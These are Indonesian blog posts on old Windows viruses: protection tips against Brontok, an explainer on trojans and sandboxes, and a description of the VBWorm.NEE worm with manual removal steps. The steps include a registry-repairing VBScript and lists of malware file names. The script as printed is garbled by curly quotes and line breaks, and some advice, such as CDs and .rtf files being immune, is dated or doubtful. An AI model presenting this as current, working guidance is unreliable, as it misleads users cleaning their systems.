- Hapus centang pada pilihan Hide extension … (for known file
types?)
2. Untuk mengenali adanya virus, pedoman yang paling aman adalah
EKSTENSInya (.exe, .doc, .rtf, .txt, .zip, dsb). Jika file tersebut
ganjil, misalnya berekstensi .exe dengan ikon folder (semua folder
tidak memiliki ekstensi), atau berekstensi .exe dengan ikon Micro-
soft Word Document, langsung hapus saja. JANGAN SAMPAI
DIDOUBLECLICK. Sekali saja file tersebut didoubleclick, jika memang
file tersebut adalah virus, ia akan segera menular dan beraksi.
Tetapi jika file tersebut tidak didoubleclick (atau di-open dari
Microsoft Word), ia tidak akan menular, walaupun sudah dikopi dari
ke flashdisk ke harddisk.
3. JANGAN BERPEDOMAN PADA GAMBAR IKON!!! Gambar ikon tidak menjamin
tipe file (ketikan atau aplikasi/program atau folder). Virus sangat
mudah menyamar dengan ikon yang diinginkan sesuka hati pembuatnya.
4. JANGAN BERPEDOMAN PADA KOLOM FILE TYPES!!! Pada Windows Explorer
biasanya terdapat kolom Name, Size, Type, Modified. Pada kolom Type
biasanya berisi ‘File Folder’ untuk folder, ‘Microsoft Word Document’
untuk file ketikan, ‘Text Document’ untuk file Notepad, dsb.
Kolom ini sangat mudah digunakan oleh virus untuk mengecoh!
5. Jika memungkinkan, kopi semua file penting ke CD menggunakan
CD Writer. CD tidak dapat ditulari.
6. Untuk file ketikan yang hanya berisi teks (tidak berisi gambar,
struktur organisasi, tabel, diagram/pie chart), waktu disimpan/save,
gunakan tipe file .RTF dengan memilih File type: .RTF (Rich Text
Document). Sejauh ini, virus yang menyerang file dokumen hanya
mencari target file .doc (Microsoft Word Document), bukan .rtf,
meskipun sebenarnya menulari file .doc maupun .rtf sama mudahnya.
Jika ketikan tersebut juga berisi tabel/gambar/dll biasanya ukuran
file setelah disimpan jauh lebih besar, sehingga lebih menguntungkan
jika disimpan dalam format .doc.
7. Usahakan selalu memiliki cadangan (misalnya nitip data ke komputer
teman), atau dikopi ke CD, atau di-ZIP menggunakan WinZip/WinRAR.
Jika perlu, lakukan juga langkah-langkah berikut:
8. Ubah default gambar ikon untuk folder dan dokumen menggunakan menu
Folder Options pada Windows Explorer, sehingga ‘folder gadungan’
yang dibuat oleh virus dapat dengan mudah dikenali.
9. Jalankan REGEDIT, cari key ‘.doc’, kemudian doubleclick value
‘(Default)’, klik kanan pada kotak yang berisi nilai dari value ybs,
kemudian klik Copy. Selanjutnya klik HKEY_CLASSES_ROOT, buat key
baru dengan nama ‘.dok’, kemudian doubleclick value ‘(Default)’,
klik kanan pada kotak nilai dari value ybs, klik Paste.
Kemudian ubah semua file yang berekstensi .doc menjadi .dok.

Informasi Tambahan:
1. Biasanya virus Brontok beserta rekan2nya tidak bekerja di Windows98.
di Windows98 tetap bisa pake FlashDisk, tetapi prosedur instalasinya
lebih susah, dan FlashDisk yang dapat digunakan hanya yang waktu
belinya sudah disertai disket driver untuk Windows98. Masalah
instalasi driver banyak orang yang tahu, dibandingkan cara2
mengatasi virus (Brontok). Jika memungkinkan, Windows98 dapat
dapat digunakan sebagai salah satu alternatif solusinya.
2. Virus Brontok terus berkembang, sehingga antivirus menjadi tidak
banyak membantu, kecuali jika kita aktif mencari update anti
virusnya di internet.
3. Ada informasi baru bahwa Brontok sekarang sudah mulai bermain kasar,
merusak harddisk, hingga harddisk tidak dapat digunakan lagi, tidak
bisa diformat, tidak bisa dipartisi.

Pesan buat pembuat virus:
Setiap perbuatan, sekecil apapun, baik atau buruk, pasti ada
balasannya. Bersyukurlah karena kamu dianugerahi kemampuan ‘hebat’ yang
sangat jarang dimiliki orang lain, dengan tidak menggunakannya untuk
sesuatu yang tidak ada manfaatnya bagi orang lain, apa lagi sengaja
menggunakannya untuk mengganggu orang lain, hanya demi kebanggaan
sesaat.

Readmore...

Posted in Label: Virus | 0 komentar

Trojan Horse

Posted On

at di 08.52 by Cyberlogica

Hampir semua orang tahu bahaya virus, tetapi ada bahaya lain pada network yang bisa membawa bahaya lebih besar: trojan horse. Trojan bersembunyi di latar belakang dengan membuka port tertentu menunggu diaktifkan oleh penyerang. Trojan yang menginfeksi PC adalah versi server-nya yang akan dikendalikan penyerang lewat versi client-nya. Antivirus kini mampu juga mendeteksi adanya trojan, tetapi paling baik menggunakan scanner yang ditujukan untuk mendeteksi trojan. Berbeda dengan antivirus yang mendeteksi trojan hanya dari file-nya, maka trojan scanner mendeteksi trojan juga dengan melakukan scan terhadap port-port yang terbuka pada PC anda. Trojan tertentu membuka port tertentu sebagai jalan belakang (backdoor) untuk penyerang masuk ke PC anda. Salah satu trojan scanner yang baik adalah Anti-Trojan yang dapat didownload di www.anti-trojan.net.
Anti-Trojan memeriksa adanya trojan dengan melakukan:
• port scanning
• men-cek registri
• men-cek hard disk
yang bila ditemukan adanya trojan, maka anda mempunyai opsi untuk men-delete trojan yang ditemukan. Setelah men-delete trojan tersebut, komputer harus di-boot
ulang. Mengingat virus dan trojan besar sekali kemungkinannya masuk melalui file yang anda download, maka anda perlu mengkarantina hasil download sebelum yakin bahwa program hasil download itu benar-benar aman. Bukan hanya hasil download dari situs-situs hacking kurang dikenal yang bisa mengandung virus atau trojan, hasil download dari situs-situs besar dan terkenal pun tidak lepas dari risiko. Untuk menguji program yang tidak dikenal dapat dilakukan dengan dua cara:
• Sistem operasi kedua
• Virtual sandbox
Pada yang pertama, anda dapat menginstalasi sistem operasi Windows yang kedua pada partisi tersendiri dan menguji program-program yang tidak dikenal hanya pada
partisi ini. Sandbox memonitor dan melindungi komponen-komponen
hardware dan software pada PC anda. Sandbox dapat disetel agar hanya program yang dijalankan di dalamnya hanya mengakses port atau direktori tertentu saja. Sandboxmerupakan salah satu fasilitas yang diberikan oleh eSafe. eSafe merupakan software security yang sekaligus merupakan firewall, anti-virus, dan juga sandbox. Sandbox pada eSafe dapat dikonfigurasi, namun sudah\ terdapat aturan tinggal pakai untuk kebanyakan proses pengujian software:
• Blank. Set of rule kosong yang mengizinkan semua tipe akses, dan hanya melindungi direktori eSafe agar tidak dapat diubah.
• Freeze desktop. Menjaga agar Start menu dan desktop tidak bisa diubah.
• Internet Applications. Melindungi terhadap bahaya yang datang dari Internet. Akses hanya diizinkan ke direktori tertentu, terutama ampuh untuk menghadapi script kiddies.
• Internet Explorer. Mencegah penciptaan script file pada semua drive.
• Netscape. Serupa dengan fungsi pada Internet Explorer.
• Untrusted Applications. Membatasi akses terhadap download, test, dan temporary file. Juga mecegah penciptaan script file berbahaya.

Readmore...

Posted in Label: Virus | 0 komentar

Virus’Tukul’ Beraksi di Komputer

Posted On

at di 08.14 by Cyberlogica

Penyebaran virus lokal semakin hari semakin cepat dengan aksi yang beragam. Walaupun media penyebarannya masih
menggunakan flash disk, tetapi cukup mampu menyebar dengan luas apalagi disertai dengan trik rekayasa sosial yang
semakin beragam dan terkadang menggunakan nama idola dari si pembuat virus itu sendiri untuk lebih mudah
mengelabui user.
Sudah banyak contoh virus yang menggunakan rekayasa ini, sebut saja virus Coolface dimana sang pembuat virus
menggaet nama ‘Artika Sari Devi’ atau virus Runitis yang membawa nama ‘Siti Nurhaliza’. Kini, giliran Tukul Arwana
yang di jadikan maskot virus VBWorm.NEE.
Walaupun wajah sang pelawak ini tidak dimunculkan, tetapi guyonan khas tukul Arwana ‘KEMBALI KE LAPTOP’ diambil
dan dijadikan maskot pada virus ini. Alfons Tanudjaya, spesialis antivirus dari Vaksincom memprediksi, virus ini
kemungkinan berasal dari kota Pahlawan, Surabaya.
Menurutnya, lagi-lagi Visual Basic menjadi pilihan yang digunakan oleh sang pembuat virus, tak terkecuali dengan virus
VBWorm.NEE ini dengan ukuran sebesar 56 KB. Dan kali ini bukan icon Folder atau MS.Word yang akan digunakan
oleh VBWorm.NEE, melainkan menggunakan icon ‘Video Media Player’ dengan ekstensi ganda yakni .DOC .EXE,
sedangkan ekstensi EXE akan disembunyikan.
“Pada saat virus ini pertama kali menginfeksi komputer target, VBWorm.NEE akan memunculkan sebuah program
MS.Word dengan sederetan puisi dengan judul ‘Setia Hingga Akhir Masa’. Setelah itu beberapa program Internet
Explorer yang berisi pesan sang pembuat virus juga akan muncul,” ungkap Alfons
Sebagai pertahanan dan agar dirinya dapat aktif setiap kali komputer dinyalakan, virus ini akan membuat beberapa file
induk. Dan saat komputer dinyalakan, VBWorm.NEE akan mencoba untuk menjalankan 2 file induk yakni SPOOL32.exe
dan WINWORD.exe.
Sudah menjadi tradisi, bahwa setiap virus lokal akan mencoba untuk memblok beberapa fungsi Windows dengan tujuan
agar dirinya tidak mudah dihentikan. Berikut beberapa fungsi Windows yang akan diblok:
-. Disable Registry Editor
-. Disable Task Manager
-. Disable Folder Option
-. Dsiable Run
-. Disable Search
-. Disable klik kanan Desktop
-. Disable klik kanan Task Bar
-. Disable Shutdown
-. Disable CMD
Sebenarnya, lanjut Alfons, masih banyak lagi fungsi Windows yang akan diblok oleh VBWorm.NEE seperti System
Restore, Disable Windows Installer (MSI) atau Disable Desktop, tetapi hal ini tidak berhasil karena terdapat beberapa
‘bug’ pada string yang dibuat.
“Selain disable fungsi Windows diatas, VBWorm.NEE juga akan mencoba untuk menyembunyikan ekstensi EXE dari
suatu file Application. Sebagai penutup VBWorm.NEE akan mencoba untuk mengkopi dirinya sendiri ke setiap
folder/subfolder yang di akses dengan nama file acak,” imbuhnya.
Berikut beberapa file yang akan di kopi pada setiap folder/subfolder: Bab11.doc .exe, Desposisi.doc .exe, Fileku.doc
.exe, Tolong.doc .exe, Siapa.doc .exe, Data.doc .exe, Jangan di buka.doc .exe, Empat mata.doc exe, Cerita.doc .exe
dan Benci.doc .exe

Readmore...

Posted in Label: Virus | 0 komentar

Cara mengatasi VBWorm.NEE ( Virus Tukul )

Posted On

at di 08.14 by Cyberlogica

1. Putuskan hubungan komputer yang akan dibersihkan dari jaringan
[jika
terhubung ke LAN]
2. Matikan proses virus, silahkan gunakan tools currprocess
http://www.nirsoft.net/utils/cprocess.html, kemudian matikan proses
yang
mepunyai gambar “Video
Media Player”, contohnya : (lihat gambar 7)

a. Spool32.exe
b. Winword.exe

(Embedded image moved to file: pic24648.jpg)
Gambar 7 Mematikan proses VBWorm.NEE

3. Hapus string registry yang dibuat oleh virus, untuk mempercepat
proses
penghapusan registry tersebut salin script dibawah ini pada notepad
kemudian
simpan dengan nama “repair.vbs” setelah itu jalankan file
tersebut
kemudian logoff komputer.

Dim oWSH: Set oWSH = CreateObject(”WScript.Shell”)
on error resume Next
oWSH.Regwrite

“HKEY_LOCAL_MACHINE\Software\CLASSES\batfile\shell\open\command\”,”"”%1″”
%*”
oWSH.Regwrite

“HKEY_LOCAL_MACHINE\Software\CLASSES\comfile\shell\open\command\”,”"”%1″”
%*”
oWSH.Regwrite

“HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\open\command\”,”"”%1″”
%*”
oWSH.Regwrite

“HKEY_LOCAL_MACHINE\Software\CLASSES\piffile\shell\open\command\”,”"”%1″”
%*”
oWSH.Regwrite

“HKEY_LOCAL_MACHINE\Software\CLASSES\scrfile\shell\open\command\”,”"”%1″”
/S”
oWSH.Regwrite

“HKEY_LOCAL_MACHINE\Software\CLASSES\regfile\shell\open\command\”,”regedit.exe
%1″
oWSH.Regwrite

“HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\AlternateShell”,”cmd.exe”
oWSH.Regwrite

“HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\SafeBoot\AlternateShell”,”cmd.exe”
oWSH.Regwrite

“HKEY_LOCAL_MACHINE\SYSTEM\ControlSet003\Control\SafeBoot\AlternateShell”,”cmd.exe”
oWSH.Regwrite

“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\AlternateShell”,”cmd.exe”oWSH.Regwrite
“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\Shell”,”Explorer.exe”

oWSH.RegDelete(”HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft
Word”)

oWSH.RegDelete(”HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Printer
Cpl”)

oWSH.RegDelete(”HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows
NT\SystemRestore\”)

oWSH.RegDelete(”HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\DisableMSI”)

oWSH.RegDelete(”HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\LimitSystemRestoreCheckpointing”)

oWSH.RegDelete(”HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWinLeys”)

oWSH.RegDelete(”HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel”)

oWSH.RegDelete(”HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”)

oWSH.RegDelete(”HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoTrayContextMenu”)

oWSH.RegDelete(”HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”)

oWSH.RegDelete(”HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoCLose”)

oWSH.RegDelete(”HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Nofind”)

oWSH.RegDelete(”HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”)

oWSH.RegDelete(”HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisableMSI”)

oWSH.RegDelete(”HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose”)

oWSH.RegDelete(”HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”)

oWSH.RegDelete(”HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”)

oWSH.RegDelete(”HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWinLeys”)

oWSH.RegDelete(”HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop”)

oWSH.RegDelete(”HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NOLogoff”)

oWSH.RegDelete(”HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWinKeys”)

oWSH.RegDelete(”HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run\”)

oWSH.RegDelete(”HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”)

oWSH.RegDelete(”HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\”)

oWSH.RegDelete(”HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”)

oWSH.RegDelete(”HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run\”)

oWSH.RegDelete(”HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD”)

oWSH.RegDelete(”HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWinKeys”)

oWSH.RegDelete(”HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop”)

oWSH.RegDelete(”HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogoff”)

oWSH.RegDelete(”HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”)

oWSH.RegDelete(”HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoDispApprearancePage”)

oWSH.RegDelete(”HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoDispCpl”)

oWSH.RegDelete(”HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoDispBackgroundPage”)

oWSH.RegDelete(”HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoDispSettingsPage”)

oWSH.RegDelete(”HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\
System\NoScrSavPage”)

oWSH.RegDelete(”HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\”)

oWSH.RegDelete(”HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\NeverShowExt”)
oWSH.RegDelete(”HKEY_CLASSES_ROOT\exefile\NeverShowExt”)

oWSH.RegDelete(”HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”)

oWSH.RegDelete(”HKEY_CURRENT_USER\Software\policies\Microsoft\system\DisableCMD”)

4. Jika menggunakan Windows ME/XP, disable “System Restore” untuk
sementara
selama proses pembersihan berlangsung.
5. Hapus file induk dan file copy VBWorm.NEE yang dibuat oleh virus
dengan
terlebih dahulu menampilkan file/folder yang disembunyikan (gunakan
folder
option
untuk menampilkan file/folder yang disembunyikan), dengan
ciri-ciri:
· Ukuran 56 KB
· Ekstensi .DOC .EXE
· Type file Application
· Icon Video Media Player
§ C:\Windows\SPOOL32.exe
§ C:\WINDOWS\system32\winword.exe
§ C:\Documents and Settings\%user login%
· [System Process]BabII.doc .exe
· [System Process]Fileku.doc .exe
· [System Process]Jangan di buka .doc.exe
· [System Process]Tolong.doc .exe
· [System Process]data.doc .exe
· [System Process]Desposisi.doc .exe
· [System Process]Empat Mata.doc .exe
· [System Process]benci.doc .exe
· fileku.doc.exe [acak]
· SystemData.doc .exe [acak]
· SystemTolong.doc [acak]
· sYSTEMbENCI.doc.exe [acak]
· C:\Windows\config\system32.exe
· C:\WIndows\system32\ArekSuroboyo.html

Untuk mempercepat proses penghapusan virus tersebut, gunakan
tools
Search Windows, dengan setting berikut:
· All or part of the file name, isi dengan *.EXE
· Look in, isi dengan Drive yang Anda miliki
· What size it is? Pilih Specify size (in KB)
o At Most
o 57 KB
· More Advanced options, pilih
o Type of file : (All File and Folders)
o Search System folders
o Search hidden files and folders
o Search sub folders

6. Untuk pembersihan optimal dan mencegah infeksi ulang, lindungi
komputer
anda dengan Norman Virus Control up-to-date yang dapat mengenali dan
membasmi virus ini.

Readmore...

Posted in Label: Virus | 0 komentar